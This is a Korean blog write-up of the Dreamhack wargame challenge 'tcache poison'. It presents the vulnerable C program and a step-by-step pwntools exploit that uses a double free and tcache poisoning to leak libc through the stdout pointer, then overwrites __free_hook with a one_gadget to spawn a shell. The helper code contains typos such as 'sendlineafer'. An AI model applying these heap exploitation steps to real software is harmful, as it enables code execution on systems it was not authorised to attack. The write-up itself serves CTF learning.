오늘은 드림핵의 3단계 문제인 tcache poison의 write-up을 작성해보겠습니다.
https://dreamhack.io/wargame/challenges/358/
로그인 | Dreamhack
dreamhack.io
문제는 해당 링크에서 다운로드 받으실 수 있고, 처음으로 풀어보는 포너블 3단계 문제네요
먼저 checksec으로 보호기법부터 살펴보겠습니다.

NX와 RELRO는 활성화되어있지만 canary와 PIE는 존재하지 않습니다.
해당 문제의 코드를 확인해보겠습니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
1,2,3,4의 선택지중에서 선택할 수 있습니다. 각각의 case는 청크 할당, 청크 해제, 청크 출력, 청크 내용 변경입니다.
여기서 문제는 2번 청크 해제에서 발생합니다.
case 2:
free(chunk);
break;
청크를 할당하고 해제하지 않기 때문에 dangling pointer가 발생하고, 여기서 UAF나 DFB등의 취약점이 발생하게 됩니다.
먼저 익스플로잇 설계를 해보겠습니다.
1. Tcache poisoning을 통한 tcache에 임의 주소 추가
2. libc leack 을 통해 libc의 주소 계산(PIE X)
3. 원 가젯의 주소를 구해 청크에 할당
먼저 메뉴 1,2,3,4에 맞는 익스플로잇 코드를 먼저 짜보겠습니다.
#1번(청크 할당)
def alloc(size, data):
p.sendlineafter(b'Edit\n', b'1')
p.sendlineafter(b':', str(size).encode)
p.sendafter(b':', data)
#2번(청크 free)
def free():
p.sendlineafer(b'Edit\n', b'2')
#3번(청크 출력)
def print_chunk():
p.sendlineafer(b'Edit\n', b'3')
#4번(편집)
def edit(data):
p.sendlineafer(b'Edit\n', b'4')
p.sendafter(b':', data)
여기서 청크 하나를 할당한 뒤 해제하고, 남아있는 dangling pointer의 값을 edit으로 편집하고 다시 free를 발생시켜 DFB가 가능하고 그 뒤 청크를 다시 할당해서 타겟 주소를 넣으면 됩니다.
alloc(0x30, b'AAAAAAAA')
free()
edit(b'B'*8 + b'\x00') #8바이트 + @로 키 값 덮어쓰기
free()
alloc(0x30, b'Target Address')
할당 - 해제 - 키 값 변경 - 해제 - 할당으로 이어지는 코드입니다
이제 라이브러리 릭을 해보겠습니다.
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
위의 코드는 라이브러리 릭이 발생하는 코드입니다.
PIE 옵션이 꺼져있기 때문에 쉽게 가능합니다.
stdout을 코드 상에서 명시적으로 사용하면 바이너리의 .bss 영역에 _I0_2_1_stdout_을 가리키는 포인터가 존재하게 됩니다.
이 포인터를 릭할 수 있다면 libc가 매핑된 베이스 주소를 구할 수 있습니다.
addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))
addr_stdout에 stdout 심볼의 위치를 담고, alloc으로 Tcache list에서 head인 A의 data 영역에 주소를 덮어씁니다.
현재 A의 fd 포인터에는 &stdout의 주소가 담겨있습니다.
alloc(0x30, b'BBBBBBBB')
저희가 Tcache Duplication으로 공격을 하고 있기 때문에 첫 번재 alloc 이후 free하지 않았음에도 두번째 호출 때 같은 청크 A가 할당됩니다.
이 A에는 저희가 이전에 오염시킨(poison) addr_stdout이 fd포인터로 들어가 있기 때문에, Tcache List에서는 stdout의 주소가 바로 연결될 준비가 되어 있습니다.
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1]
alloc(0x30, _io_2_1_stdout_lsb)
해당포인트는 중요한 트릭 중 하나인데, malloc으로 할당하면서 반환하는 &stdout의 주소 안에 들어있는 값인 libc 주소가 손상되는 것을 방지하기 위해 libc의 첫 1바이트를 복사해서 넣습니다.

해당 코드에서 alloc은 read를 통해 청크에 값을 입력하는데 동적 할당을 위해 아무 값이나 넣게 되면 &stdout에 값이 쓰여져 저희가 읽어야 하는 libc의 주소가 손상될 수 있습니다.
그래서 libc의 주소중 첫 1바이트 즉 lsb를 읽어서 넣음으로 주소 손상을 방지합니다.
ASLR은 하위 12비트가 변하지 않는 것을 보장하기 때문에 딱 1바이트만 넣을 수 있습니다.
print_chunk()
p.recvuntil('Content: ')
stdout = u64(p.recv(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
fh = lb + libc.symbols['__free_hook']
og = lb + 0x4f432
나머지 주소는 print_chunk로 libc leak을 하는 과정이고, 베이스 주소를 구하고, 원 가젯을 구하는 과정입니다.
저희는 특정 주소에 free_hook을 덮어쓰고 one gadget을 통해 쉘을 획득하는 방식인데,
free_hook이라는 훅변수 주소를 구하고 그 뒤에 원 가젯을 넣어둬서 free할때 hook변수 대신 원가젯이 실행되는 구조입니다.
alloc(0x40, b'dreamhack')
free()
edit(b"C"*8 + b"\x00")
free()
다시 DFB를 수행합니다. alloc으로 청크 B를 할당하고, 해제한 뒤 edit으로 B의 key를 변경하여 DFB를 발생시킵니다.
현재 Tcache 0x50 bin의 상태는 B -> B -> NULL (중복상태) 입니다.
alloc(0x40, p64(fh))
alloc(0x40, b'D'*8)
alloc(0x40,p64(og))
free()
이제 alloc으로 첫 번째 B를 반환하고, 안의 포인터에 __free_hook 주소를 넣습니다.
그 뒤 alloc에 Tcache List에 freehook 변수의 주소를 넣게 되고,
한번 더 malloc을 통해 Tcachelist의 head를 fh로 업데이트한 뒤,
alloc(0x40, p64(og)를 통해 덮어쓰기 공격을 합니다.
C프로그램의 chunk 변수는 __free_hook 주소를 가르키고, alloc의 read가 원 가젯의 주소를 받습니다.
결과적으로 __free_hook의 자리에 one_gadget이 들어가게 됩니다..
마지막으로 free()를 하게 되면 원래 작동해야할 free변수 대신 one_gadget이 실행됨으로 셸을 획득할수 있습니다.

이상으로 Tcache Poisoning에 대한 write up을 마치겠습니다.
힙 익스플로잇 난이도가 엄청나네요 ...
읽어주셔서 감사합니다.
'취약점분석 > Pwnable' 카테고리의 다른 글
| [Pwnable] Tcache_dup write-up (0) | 2025.11.08 |
|---|---|
| [Pwnable] tcache_dup (0) | 2025.11.07 |
| [Pwnable] Tcache Poisoning (0) | 2025.11.05 |
| [Pwnable] Double Free Bug (Memory Corruption) (0) | 2025.11.03 |
| [Pwnable] uaf_overwrite write-up (0) | 2025.10.28 |